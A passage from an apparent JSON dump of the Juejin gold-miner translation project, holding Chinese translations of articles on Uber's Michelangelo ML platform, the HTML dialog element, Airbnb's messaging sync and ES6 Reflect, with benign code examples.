5：二分类模型报告展示了分类相关的性能指标。\n\n### 可视化决策树\n\n决策树作为一种重要的模型类型，工程师们为其提供了可视化工具，以帮助建模者更好地理解模型的行为原理，并在建模者需要时帮助其进行调试。例如在一个决策树模型中，用户可以浏览每个树分支，看到其对于整体模型的重要程度、决策分割点、每个特征对于某个特定分支的权重，以及每个分支上的数据分布等变量。用户可以输入一个特征值，可视化组件将会遍历整个决策树的触发路径、每个树的预测、整个模型的预测，将数据展示成类似下图的样子：\n\n![](https://eng.uber.com/wp-content/uploads/2017/09/image7-768x245.png)\n\n图 6：使用强大的树可视化组件查看树模型。\n\n### 特征报告\n\n米开朗基罗提供了特征报告，在报告中使用局部依赖图以及混合直方图展示了各个特征对于模型的重要性。选中两个特征可以让用户看到它们之间相互的局部依赖图表，如下所示：\n\n![](https://eng.uber.com/wp-content/uploads/2017/09/image11-768x371.png)\n\n图 7：在特征报告中可以看到的特征、对模型的重要性以及不同特征间的相关性。\n\n### 部署模型\n\n米开朗基罗支持使用 UI 或 API 端对端管理模型的部署。一个模型可以有下面三种部署方式：\n\n1. **离线部署**。模型将部署于离线容器中，使用 Spark 作业，根据需求或计划任务进行批量预测。\n2. **在线部署**。模型将部署于在线预测服务集群（集群通常为使用负载均衡部署的数百台机器），客户端可以通过网络 RPC 调用发起单个或批量的预测请求。\n3. **部署为库**。工程师们希望能在服务容器中运行模型。可以将其整合为一个库，也可以通过 Java API 进行调用（在下图中没有展示此类型，不过这种方式与在线部署比较类似）。\n\n![](https://eng.uber.com/wp-content/uploads/2017/09/image6-768x433.png)\n\n图 8：模型库中的模型部署于在线及离线容器中用于提供服务。\n\n上面所有情况中，所需要的模型组件（包括元数据文件、模型参数文件以及编译好的 DSL）都将被打包为 ZIP 文件，使用 Uber 的标准代码部署架构将其复制到 Uber 数据中心的相关数据上。预测服务容器将会从磁盘自动加载新模型，并自动开始处理预测请求。\n\n许多团队都自己写了自动化脚本，使用米开朗基罗 API 进行一般模型的定期再训练及部署。例如 UberEATS 的送餐时间预测模型就由数据科学家和工程师通过 Web UI 控制进行训练与部署。\n\n### 预测结果\n\n一旦模型部署于服务容器并加载成功，它就可以开始用于对数据管道传来的特征数据或用户端发来的数据进行预测。原始特征将通过编译好的 DSL 传递，如有需要也可以对 DSL 进行修改以改进原始特征，或者从特征存储库中拉取一些额外的特征。最终构造出的特征向量会传递给模型进行评分。如果模型为在线模型，预测结果将通过网络传回给客户端。如果模型为离线模型，预测结果将被写回 Hive，之后可以通过下游的批处理作业或者直接使用 SQL 查询传递给用户，如下所示：\n\n![](http://eng.uber.com/wp-content/uploads/2017/09/image3.png)\n\n图 9：在线预测服务及离线预测服务使用一组特征向量生成预测结果。\n\n### 引用模型\n\n在米开朗基罗平台中可以同时向服务容器部署多个模型。这也使得从旧模型向新模型进行无痛迁移以及对模型进行 A/B 测试成为可能。在服务中，可以由模型的 UUID 以及一个在部署时可指定的 tag（或者别名）识别不同的模型。以一个在线模型为例，客户端服务会将特征向量与需要使用的模型 UUID 或者 tag 同时发送给服务容器；如果使用的是 tag，服务容器会使用此 tag 对应的最新部署的模型进行预测。如果使用的是多个模型，所有对应的模型都将对各批次的数据进行预测，并将 UUID 和 tag 与预测结果一同传回，方便客户端进行筛选过滤。\n\n如果在部署一个新模型替换旧模型时用了相同的事物（例如用了一些同样的特征），用户可以为新模型设置和旧模型一样的 tag，这样容器就会立即开始使用新模型。这可以让用户只需要更新模型，而不用去修改他们的客户端代码。用户也可以通过设置 UUID 来部署新模型，再将客户端或中间件配置中旧模型的 UUID 换成新的，逐步将流量切换到新模型去。\n\n如果需要对模型进行 A/B 测试，用户可以通过 UUID 或者 tag 轻松地部署竞争模型，再使用客户端服务中的 Uber 实验框架将部分流量导至各个模型，再对性能指标进行评估。\n\n### 规模缩放与时延\n\n由于机器学习模型是无状态的，且不需要共享任何东西，因此，无论是在线模式还是离线模式下对它们进行规模缩放都是一件轻而易举的事情。如果是在线模型，工程师可以简单地给预测服务集群增加机器，使用负载均衡器分摊负载。如果是离线预测，工程师可以给 Spark 设置更多的 executor，让 Spark 进行并行管理。\n\n在线服务的延迟取决于模型的类型与复杂度以及是否使用从 Cassandra 特征库中取出的特征。在模型不需要从 Cassandra 取特征的情况下，P95 测试延迟小于 5 毫秒。在需要从 Cassandra 取特征时，P95 测试延迟仍小于 10 毫秒。目前用量最大的模型每秒能提供超过 250000 次预测。\n\n### 预测监控\n\n当模型训练完成并完成评价之后，使用的数据都将是历史数据。监控模型的预测情况，是确保其在未来正常工作的重要保障。工程师需要确保数据管道传入的是正确的数据，并且生产环境没有发生变化，这样模型才能够进行准确的预测。\n\n为了解决这个问题，米开朗基罗系统会自动记录并将部分预测结果加入到数据 pipeline 的标签中去，有了这些信息，就能得到持续的、实时的模型精确度指标。在回归模型中，会将 R^2/[决定系数](https://en.wikipedia.org/wiki/Coefficient_of_determination)、[均方根对数误差](https://www.kaggle.com/wiki/RootMeanSquaredLogarithmicError)（RMSLE）、[均方根误差](https://en.wikipedia.org/wiki/Root-mean-square_deviation)（RMSE）以及[平均绝对值误差](https://en.wikipedia.org/wiki/Mean_absolute_error)发布至 Uber 的实时监控系统中，用户可以分析指标与时间关系的图标，并设置阈值告警：\n\n![](https://eng.uber.com/wp-content/uploads/2017/09/image8-768x433.png)\n\n图 10：对预测结果进行采样，与观测结果进行比较得到模型准确指标。\n\n### 管理层、API、Web UI\n\n米开朗基罗系统的最后一个重要部分就是 API 层了，它也是整个系统的大脑。API 层包含一个管理应用，提供了 Web UI 以及网络 API 两种访问方式，并与 Uber 的监控、报警系统相结合。同时该层还包含了用于管理批量数据管道、训练作业、批量预测作业、模型批量部署以及在线容器的工作流系统。\n\n米开朗基罗的用户可以通过 Web UI、REST API 以及监控、管理工具直接与这些组件进行交互。\n\n## 米开朗基罗平台之后的构建工作\n\n工程师们打算在接下来几个月继续扩展与加强现有的系统，以支持不断增长的用户和 Uber 的业务。随着米开朗基罗平台各个层次的不断成熟，他们计划开发更高层的工具与服务，以推动机器学习在公司内部的发展，更好地支持商业业务：\n\n- **AutoML**。这是将会成为一个自动搜寻与发现模型配置的系统（包括算法、特征集、超参值等），可以为给定问题找到表现最佳的模型。该系统还会自动构建数据管道，根据模型的需要生成特征与标签。目前工程师团队已经通过特征库、统一的离线在线数据管道、超参搜索特征解决了此系统的一大部分问题。AutoML 系统可以加快数据科学的早期工作，数据科学家们只需要指定一组标签和一个目标函数，接着就能高枕无忧地使用 Uber 的数据找到解决问题的最佳模型了。这个系统的最终目标就是构建更智能的工具，简化数据科学家们的工作，从而提高生产力。\n- **模型可视化**。对于机器学习，尤其是深度学习，理解与调试模型现在变得越来越重要。虽然工程师们已经首先为树状模型提供了可视化工具，但是还需要做更多的工作，帮助数据科学家理解、debug、调整他们的模型，得到真正令人信服的结果。\n- **在线学习**。Uber 的机器学习模型大多数直接受到 Uber 产品的实时影响。这也意味着这些模型需要能够在复杂、不断变化的真实世界中运行。为了保证模型在变化环境中的准确性，这些模型需要随着环境一同进化；现在，各个团队会在米开朗基罗平台上定期对模型进行重训练。一个完整的平台式解决方案应该让用户能够轻松地对模型进行升级、快速训练及评价，有着更精细的监控及报警系统。虽然这将是一个很大的工程，但是早前的研究结果表明，构建完成在线学习系统可能会带来巨大的收益。\n- **分布式深度学习**。越来越多的 Uber 机器学习系统开始使用深度学习实现。定义与迭代深度学习模型的工作流与标准的工作流有着很大的区别，因此需要平台对其进行额外的支持。深度学习需要处理更大的数据集，需要不同的硬件支持（例如 GPU），因此它更需要分布式学习的支持，以及与更具弹性的资源管理堆栈进行紧密结合。\n\n如果你对挑战规模化机器学习有兴趣，欢迎申请[Uber 机器学习平台团队](https://www.uber.com/careers/list/?city=all&country=all&keywords=machine+learning+platform+team&subteam=all&team=all) ！\n\n作者简介：Jeremy Hermann 是 Uber 机器学习平台团队的工程经理，Mike Del Balso 是 Uber 机器学习平台团队的产品经理。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/meet-the-new-dialog-element.md",
    "content": "> * 原文地址：[Meet the New Dialog Element](https://keithjgrant.com/posts/2018/meet-the-new-dialog-element/?utm_source=frontendfocus&utm_medium=email)\n> * 原文作者：[keithjgrant](https://keithjgrant.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/meet-the-new-dialog-element.md](https://github.com/xitu/gold-miner/blob/master/TODO/meet-the-new-dialog-element.md)\n> * 译者：[FateZeros](https://github.com/fatezeros)\n> * 校对者：[ryouaki](https://github.com/ryouaki) [PCAaron](https://github.com/PCAaron)\n\n# 迎接新的 Dialog 元素\n\n![用字母在前面装饰的旧铁邮箱](https://keithjgrant.com/images/2018/iron-mailbox.jpg)\n\n[HTML 5.2](https://www.w3.org/TR/html52/) 为原生弹窗对话框引入了一个新的 `<dialog>` 元素。乍一看，它似乎相当简单（本来就是），但当我和它打交道的过程中，我发现有一些很棒的新特性很容易被忽视掉。\n\n在本文的最后我加上了一个完整可行的 Demo，但是如果你想在阅读的过程中也查看的话，[你可以看这里](https://codepen.io/keithjgrant/pen/eyMMVL)。\n\n这是一个基本的弹窗对话框标记：\n\n```\n<dialog open>\n  Native dialog box!\n</dialog>\n```\n\n`open` 属性意味着对话框是可见的。没有它，除非你用 JavaSript 使它出现，否则它就是隐藏的。在添加样式之前，对话框渲染如下所示：\n\n![对话框中的文本有加粗的黑色轮廓](https://keithjgrant.com/images/2018/native-dialog-basic.png)\n\n它在页面中是绝对定位的，因此它会按照你所期望的那样出现在其他内容前面，并且水平居中。默认情况下，它和内容等宽。\n\n## 基本操作\n\nJavaScript 有几个方法和属性可以方便地处理 `<dialog>` 元素。你可能最需要的两个方法是 `showModal()` 和 `close()`。\n\n```\nconst modal = document.querySelector('dialog');\n\n// 使对话框出现（添加 `open` 属性）\nmodal.showModal();\n\n// 隐藏对话框（移除 `open` 属性）\nmodal.close();\n```\n\n当你用 `showModal()` 打开对话框的时候，页面会添加一层背景，阻止用户与对话框之外的内容交互。默认情况下，这层背景是完全透明的，但是你可以改变 CSS 属性使它可见（后面会有更多介绍）。\n\n按 Esc 键会关闭对话框，你也可以提供一个关闭按钮来触发 `close()` 方法。\n\n还有第三个方法，`show()` 也会让对话框出现，但不会伴随背景层。用户仍可以和对话框之外的可见的元素进行交互。\n\n### 浏览器支持和 Polyfill\n\n现在，只有 Chrome 支持 `<dialog>`。Firefox 提供了默认样式，但是 JavaScript API 仅在标志后启用。我猜想 Firefox 会很快支持它。\n\n庆幸地是，[polyfill](https://github.com/GoogleChrome/dialog-polyfill) 提供了 JavaScript 事件和默认样式。用 npm 安装 `dialog-polyfill` 来使用它 —— 或者使用常用的旧的 `<script>` 标签。这样 `<dialog>` 就可以在 IE9及以上版本中使用了。\n\n当使用 polyfill 时，页面上的每个对话框都需要被初始化：\n\n```\ndialogPolyfill.registerDialog(modal);\n```\n\n这不会替代拥有它的浏览器中的原生事件。\n\n## 样式\n\n打开和关闭对话框完成了，但是它起初看起来并不专业。我们像给其他元素添加样式那样，给对话框添加样式。背景层可以用新的 `::backdrop` 伪元素来设计。\n\n```\ndialog {\n  padding: 0;\n  border: 0;\n  border-radius: 0.6rem;\n  box-shadow: 0 0 1em black;\n}\n\ndialog::backdrop {\n  /* make the backdrop a semi-transparent black */\n  background-color: rgba(0, 0, 0, 0.4);\n}\n```\n\n对于那些需要使用 polyfill 的老浏览器，这个伪元素选择器将不会起作用，然而，在这个对话框位置后，polyfill 会立即添加一个 `.backdrop` 元素。你可以像这样用 CSS 来定位它：\n\n```\ndialog + .backdrop {\n  background-color: rgba(0, 0, 0, 0.4);\n}\n```\n\n添加更多的标记来提供样式的钩子。一个常用的做法是将对话框划分为标题，正文和页脚：\n\n```\n<dialog id=\"demo-modal\">\n  <h3 class=\"modal-header\">A native modal dialog box</h3>\n  <div class=\"modal-body\">\n    <p>Finally, HTML has a native dialog box element! This is fantastic.</p>\n    <p>And a polyfill makes this usable today.</p>\n  </div>\n  <footer class=\"modal-footer\">\n    <button id=\"close\" type=\"button\">close</button>\n  </footer>\n</dialog>\n```\n\n给它添加一些 CSS，你可以让对话框做成任何你想要的外观：\n\n  \n\n## 更多控制\n\n通常，我们想要从对话框中获得更多用户反馈。当关闭对话框时，你可以传递一个字符串值到 `close()` 方法。该值将会被赋值给对话框 DOM 元素的 `retrunValue`属性，因此它可以在后面被读取到：\n\n```\nmodal.close('Accepted');\n\nconsole.log(modal.returnValue); // logs `Accepted`\n```\n\n还有一些事件你可以监听。两个有用的事件是 `close` （当对话框关闭的时候触发）和 `cancel`（当用户按了 Esc 关闭对话框时触发）。\n\n有一件事似乎被忘掉了，当背景层被点击时能够关闭对话框，但有一个变通方案。当点击背景层时，触发 `<dialog>` 的点击事件作为事件目标。而且，如果你构造对话框使得子元素填充了整个对话框，那些子元素将会被作为对话框内任何点击的目标。这种方式，你可以监听对话框上的点击，当点击事件的目标是对话框本身的时候关闭它：\n\n```\nmodal.addEventListener('click', (event) => {\n  if (event.target === modal) {\n    modal.close('cancelled');\n  }\n});\n```\n\n虽然不完美，但是起了作用。如果你找到了更好的方法来检测背景层上的点击，请让我知道。\n\n## 完整可行的 Demo\n\n我在下面的示例中演示了很多东西。亲自实践下，看你还能用 `<dialog>` 做些什么。它包含了 polyfill，所以它应该能在大多数浏览器中运行。\n\n请参阅 Keith J. Grant ([@keithjgrant](https://codepen.io/keithjgrant)) 在 [CodePen](https://codepen.io) 上的 [<dialog>](https://codepen.io/keithjgrant/pen/eyMMVL/)。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/messaging-sync-scaling-mobile-messaging-at-airbnb.md",
    "content": "> * 原文地址：[Messaging Sync — Scaling Mobile Messaging at Airbnb](https://medium.com/airbnb-engineering/messaging-sync-scaling-mobile-messaging-at-airbnb-659142036f06)\n> * 原文作者：[Zhiyao Wang](https://medium.com/@zhiyaowang), [Michelle Leon](https://medium.com/@mkleon) , [Jason Goodman](https://medium.com/@jasonkgoodman) , [Nick Reynolds](https://medium.com/@thenickreynolds) , [Julia Fu](https://medium.com/@chengxiaofu) , [Jeff Hodnett](http://www.jeffhodnett.com/) , [Manuel Deschamps](https://medium.com/@manuel) , [John Pottebaum](https://medium.com/@johnpottebaum), Charlie Jiang\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[Tuccuay](https://www.tuccuay.com)\n> * 校对者：[ZhangRuixiang](https://github.com/ZhangRuixiang) , [zhangqippp](https://github.com/zhangqippp)\n\n# 消息同步 —— 在 Airbnb 我们是怎样扩展移动消息的\n\n![弱网环境下的新旧收件箱对比](https://cdn-images-1.medium.com/max/800/1*fZpQ95jk81Ae7tqpkXNIwA.gif)\n\n随着从移动端发出的消息条数超过每小时 100k，消息传递成为了 Airbnb 应用中被使用得最频繁的功能，但是我们之前用在移动版收件箱中获取消息的方法缓慢且不能保证数据的一致性，必须要有网络连接才能阅读消息。这些原因导致了移动版收件箱的房东和游客的体验都不太好。为了让收件箱更快、更可靠、更一致，我们在 Airbnb 中构建了消息同步机制。\n\n旧版收件箱的实现方式类似于上世纪末的邮箱客户端，用户每点击一次，就网络加载一次，从而获取需要展示的消息。通过消息同步，只有当数据改变时才会更新消息内容和消息列表，从而大大减少了网络请求的数量。这意味着在收件箱和消息列表之间来回切换导航的速度快了很多，大部分时间都是用本地缓存来展示数据，而不再需要在进入每个界面的时候都发起网络请求。消息同步还减少了每个网络请求的响应大小，从而使 API 的响应速度提升了两倍之多。这些体验优化在网速较慢的地区尤为明显。\n\n以下为消息同步的工作方式，分三种情况：\n\n**情景 1： 全幅增量更新**\n\n![](https://cdn-images-1.medium.com/max/800/1*RqXfpzXiZ2nudOrEPA7Dvg.png)\n\n常见的情景是这样的：\n\n1. 移动客户端使用本地存储的 `sequence_id` （比如 1490000000，表示客户端上一次与服务器同步的时间）请求同步。\n2. API 服务器只返回所有已修改的消息对象和新的消息并附带一个新的 `sequence_id` （比如 1491111111）。\n3. 移动客户端将这些被修改的消息和新的消息和本地数据库合并。\n4. 移动客户端还要存储新的 `sequence_id` 以供下次使用。\n\n**情景 2：初始化同步**\n\n这是在有大量的消息更新需要返回时的方案。比如当用户首次下载 app 的时候，服务器需要发送 10 个会话对象和 30 个消息以进行全增量更新。完整的增量同步响应体将会非常巨大，这将导致更长的加载时间和更差的用户体验。所以这个时候，我们只返回当前屏幕需要展示的会话。\n\n![](https://cdn-images-1.medium.com/max/800/1*0NQo4EQtq4A6ZcD0I-FGCQ.png)\n\n1. 移动客户端使用本地存储的 `sequene_id` 来调用同步 API。\n2. API 服务器估计完全增量同步的响应体大小，并且判断觉得它太大了。\n3. API 服务器仅返回最新 N 个会话对象，足够客户端渲染整个屏幕而没有空白。\n4. 客户端清除本地的数据库。\n5. 客户端存储最新的消息和 `sequence_id`。\n6. 当用户打开会话时，客户端会向服务器请求这个会话的所有消息。\n7. 当用户在收件箱中浏览历史记录时，客户端会发送分页请求来获取会话的消息。\n\n**情景 3：删除会话**\n\n会话有时候会需要从应用中移除。比如当房东搭档不再管理这个房子的时候，服务器将删除房东搭档和房客之间的会话。在这种情况 API 会在最后一次同步时发送包含所有需要删除的会话 ID 数组。\n\n### 回归测试\n\n当迁移到新的消息同步 API 的时候，有几个需要注意的点：\n\n1. Airbnb 的消息系统与核心的预定流程及其它产品逻辑紧密结合。服务器需要监听那些会影响数据在屏幕上显示的变动。比如当行程完成后，应用需要在会话中显示「评价」按钮。我们当时有两种方案可选：一个是在阅读消息的时候检查评论对象是否被修改；另一个是订阅评论对象的状态并在下一次读取会话消息的时候改变它。我们选择了第二种方案，因为这种方案节省资源。但是，监控这些能影响 UI 改变的对象，是一个挑战。\n\n2. 更新后的会话可能和本地存储的会话有不同的顺序。我们需要确保在合并数据后能够正确的刷新 UI。\n\n为了抓取在旧的消息 API 和新的消息同步 API 返回的数据之间的差异，一小部分应用同时运行新旧两套 API 进行抽查。它记录两套 API 返回的会话中所有的属性值和会话顺序。这允许我们对新的 API 回归测试并进行快速迭代。每当遇到一个 bug 时，服务器会将会话对象标记为已修改，以便在下一次同步时纠正错误。\n\n### 结论\n\n1. 消息同步 API 将请求的延迟减少了一半。相对于旧的API（下面突出的蓝线），新的API的网络请求更加稳定。\n\n![](https://cdn-images-1.medium.com/max/800/1*SbTsdzUkh9miVCbZScBKCQ.png)\n\n2. 消息同步使用户能够在飞行模式或者网络状况不佳的情况下阅读消息。\n\n在推出消息同步和其他关于消息的改进之后，我们看到更多的消息从手机上发送了（在 Android 和 iOS 上分别是 +3.8% 和 +5.3%），从网页上发送的消息变少了（-4.6% 和 -4.2%）。并且每天查看收件箱的次数也提升了（+200% 和 +96%），因为它现在是房东的首页。这个发布对于我们房东社区来说是一个非常巨大的胜利，因为消息是房东在 Airbnb 上最常用的功能。\n\n**最后说一下，如果你有兴趣创造一个蓬勃发展的社区，在世界各地款待大家，Host & Homes 团队正在招募工程师** [**寻找有才华的人加入**](https://www.airbnb.com/careers/departments/engineering)！\n\n![](https://cdn-images-1.medium.com/max/2000/1*XMOMFask2IOSeOQznGLe7Q.png)\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/metaprogramming-in-es6-part-2-reflect.md",
    "content": "> * 原文地址：[Metaprogramming in ES6: Part 2 - Reflect](https://www.keithcirkel.co.uk/metaprogramming-in-es6-part-2-reflect/)\n> * 原文作者：[Keith Cirkel](https://twitter.com/keithamus)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/metaprogramming-in-es6-part-2-reflect.md](https://github.com/xitu/gold-miner/blob/master/TODO/metaprogramming-in-es6-part-2-reflect.md)\n> * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi)\n> * 校对者：[IridescentMia](https://github.com/IridescentMia) [ParadeTo](https://github.com/ParadeTo)\n\n# ES6 中的元编程：第二部分 —— 反射（Reflect）\n\n在我的[上一篇博文](/metaprogramming-in-es6-symbols/)，我们探索了 Symbols，以及它们是如何为 JavaScript 添加了有用的元编程特性。这一次，我们（终于！）要开始讨论反射了。如果你尚未读过 [第一部分：Symbols](/metaprogramming-in-es6-symbols/)，那我建议你先去读读。在上一篇文章中，我不厌其烦地强调一点：\n\n* Symbols 是 **实现了的反射（Reflection within implementation）**—— 你将 Symbols 应用到你已有的类和对象上去改变它们的行为。\n* Reflect 是 **通过自省（introspection）实现反射（Reflection through introspection）** —— 通常用来探索非常底层的代码信息。\n* Proxy 是 **通过调解（intercession）实现反射（Reflection through intercession）** —— 包裹对象并通过自陷（trap）来拦截对象行为。\n\n`Reflect` 是一个新的全局对象（类似 `JSON` 或者 `Math`），该对象提供了大量有用的内省（introspection）方法（内省是 “看看那个东西” 的一个非常华丽的表述）。内省工具已经存在于 JavaScript 了，例如 `Object.keys`，`Object.getOwnPropertyNames` 等等。所以，为什么我们仍然新的 API ，而不是直接在 Object 上做扩展呢？ \n\n## “内置方法”\n\n所有的 JavaScript 规范，以及因此诞生的引擎，都来源于一系列的 “内置方法”。这些内置方法能够有效地让 JavaScript 引擎在对象上执行一些遍布你代码的基础操作。如果你通读了规范，你会发现这些方法散落各处，例如 `[[Get]]`、`[[Set]]`、`[[HasOwnProperty]]` 等等（如果你没有耐心通读所有规范，那么这些内置方法列表在 [ES5 8.12 部分](https://es5.github.io/#x8.12) 以及 [ES6 9.1 部分](https://www.ecma-international.org/ecma-262/6.0/index.html#sec-ordinary-object-internal-methods-and-internal-slots) 可以查阅到）。\n\n其中一些 “内置方法” 对 JavaScript 代码是隐藏的，另一些则应用在了其他方法中，即使这些方法可用，它们仍被隐藏于难于窥见的缝隙之中。例如，`Object.prototype.hasOwnProperty` 是 `[[HasOwnProperty]]` 的一个实现，但不是所有的对象都继承自 Object，为此，有时你不得不写出一些古怪的代码才能用上 `hasOwnProperty`，如下例所示：\n\n```js\nvar myObject = Object.create(null); // 这段代码比你想象得更加常见（尤其是在使用了新的 ES6 的类的时候）\nassert(myObject.hasOwnProperty === undefined);\n// 如果你想在 `myObject` 上使用 hasOwnProperty：\nObject.prototype.hasOwnProperty.call(myObject, 'foo');\n```\n\n再看到另一个例子，`[[OwnPropertyKeys]]` 这一内置方法能获得对象上所有的字符串 key 和 Symbol key，并作为一个数组返回。在不使用 Reflect 的情况下，能一次性获得这些 key 的方式只有连接 `Object.getOwnPropertyNames` 和 `Object.getOwnPropertySymbols` 的结果：\n\n```js\nvar s = Symbol('foo');\nvar k = 'bar';\nvar o = { [s]: 1, [k]: 1 };\n// 模拟 [[OwnPropertyKeys]]\nvar keys = Object.getOwnPropertyNames(o).concat(Object.getOwnPropertySymbols(o));\nassert.deepEqual(keys, [k, s]);\n```\n\n## 反射方法\n\n反射是一个非常有用的集合，它囊括了所有 JavaScript 引擎内部专有的 **“内部方法”**，现在被暴露为了一个单一、方便的对象 —— Reflect。你可能会问：“这听起来不错，但是为什么不直接将内置方法绑定到 Object 上呢？就像 `Object.keys`、`Object.getOwnPropertyNames` 这样”。现在，我告诉你这么做的理由：\n\n1. 反射拥有的方法不仅针对于 Object，还可能针对于函数，例如 `Reflect.apply`，毕竟调用 `Object.apply(myFunction)` 看起来太怪了。  \n2. 用一个单一对象贮存内置方法能保持 JavaScript 其余部分的纯净性，这要优于将反射方法通过点操作符挂载到构造函数或者原型上，更要优于直接使用全局变量。 \n3. `typeof`、`instanceof` 以及 `delete` 已经作为反射运算符存在了 —— 为此添加同样功能的新关键字将会加重开发者的负担，同时，对于向后兼容性也是一个梦魇，并且会让 JavaScript 中的保留字数量急速膨胀。\n\n### Reflect.apply ( target, thisArgument [, argumentList] )\n\n`Reflect.apply` 与 `Function#apply` 类似 —— 它接受一个函数，一个调用该函数的上下文以及一个参数数组。从现在开始，你 **可以** 认为 `Function#call`/`Function#apply` 的已经是过时版本了。这不是翻天覆地的变化，但却有很大意义。下面展示了 `Reflect.apply` 的用法：\n\n```js\nvar ages = [11, 33, 12, 54, 18, 96];\n\n// Function.prototype 风格：\nvar youngest = Math.min.apply(Math, ages);\nvar oldest = Math.max.apply(Math, ages);\nvar type = Object.prototype.toString.call(youngest);\n\n// Reflect 风格：\nvar youngest = Reflect.apply(Math.min, Math, ages);\nvar oldest = Reflect.apply(Math.max, Math, ages);\nvar type = Reflect.apply(Object.prototype.toString, youngest);\n```\n\n从 Function.prototype.apply 到 Reflect.apply 的变迁的真正益处是防御性：任何代码都能够尝试改变函数的 `call` 或者 `apply` 方法，这会让你受困于崩溃的代码或者某些糟糕的情境。在现实世界中，这不会成为一件大事，但是下面这样的代码可能真正存在：\n\n```js\nfunction totalNumbers() {\n  return Array.prototype.reduce.call(arguments, function (total, next) {\n    return total + next;\n  }, 0);\n}\ntotalNumbers.apply = function () {\n  throw new Error('Aha got you!');\n}\n\ntotalNumbers.apply(null, [1, 2, 3, 4]); // 抛出 Error('Aha got you!');\n\n// ES5 中保证防御性的代码看起来很糟糕：\nFunction.prototype.apply.call(totalNumbers, null, [1, 2, 3, 4]) === 10;\n\n// 你也可以这样做，但看起来还是不够整洁：\nFunction.apply.call(totalNumbers, null, [1, 2, 3, 4]) === 10;\n\n// Reflect.apply 会是救世主！\nReflect.apply(totalNumbers, null, [1, 2, 3, 4]) === 10;\n```\n\n### Reflect.construct ( target, argumentsList [, constructorToCreateThis] )\n\n类似于 `Reflect.apply` —— `Reflect.construct` 让你传入一系列参数来调用构造函数。它能够服务于类，并且设置正确的对象来使 Constructor 有正确的 `this` 引用以匹配对应的原型。在 ES5 时期，你会使用 `Object.create(Constructor.prototype)` 模式，然后传递对象到 `Constructor.call` 或者 `Constructor.apply`。 `Reflect.construct` 的不同之处在于，你只需要传递构造函数，而不需要传递对象 —— `Reflect.construct` 处理好一切（如果省略第三个参数，那么构造的对象原型将默认绑定到 `target` 参数）。在之前的风格中，完成对象构造是一件繁重的事儿，而在新的风格之下，这事儿简单到一行代码即可完成：\n\n```js\nclass Greeting {\n\n    constructor(name) {\n        this.name = name;\n    }\n\n    greet() {\n      return Hello ${this.name};\n    }\n\n}\n\n// ES5 风格的工厂函数：\nfunction greetingFactory(name) {\n    var instance = Object.create(Greeting.prototype);\n    Greeting.call(instance, name);\n    return instance;\n}\n\n// ES6 风格的工厂函数：\nfunction greetingFactory(name) {\n    return Reflect.construct(Greeting, [name], Greeting);\n}\n\n// 如果省略第三个参数，那么默认绑定对象原型到第一个参数\nfunction greetingFactory(name) {\n  return Reflect.construct(Greeting, [name]);\n}\n\n// ES6 下顺滑无比的线性工厂函数：\nconst greetingFactory = (name) => Reflect.construct(Greeting, [name]);\n```\n\n### Reflect.defineProperty ( target, propertyKey, attributes )\n\n`Reflect.definedProperty` 很大程度上源于 `Object.defineProperty` —— 它允许你定义一个属性的元信息。 相较于 `Object.defineProperty`，`Reflect.defineProperty` 要更加适合，因为 Obejct.* 暗示了它是作用在对象字面量上（毕竟 Object 是对象字面量的构造函数），然而 Reflect.defineProperty 仅只暗示了你正在做反射，这要更加的语义化。\n\n要留心的是 `Reflect.defineProperty` —— 正如 `Object.defineProperty` 一样 —— 对于无效的 `target`，例如 Number 或者 String 原始值（`Reflect.defineProperty(1, 'foo')`），将抛出一个 `TypeError`。相较于静默失败，当参数类型错误时，抛出错误以引起你的注意是一件更好的事儿。\n\n再重复一次，你可以认为 `Object.defineProperty` 从现在起过时了，并使用 `Reflect.defineProperty` 代替：\n\n```js\nfunction MyDate() {\n  /*…*/\n}\n\n// 老的风格下，我们使用 Object.defineProperty 来定义一个函数的属性，显得很奇怪\n// （为什么我们不用 Function.defineProperty ？）\nObject.defineProperty(MyDate, 'now', {\n  value: () => currentms\n});\n\n// 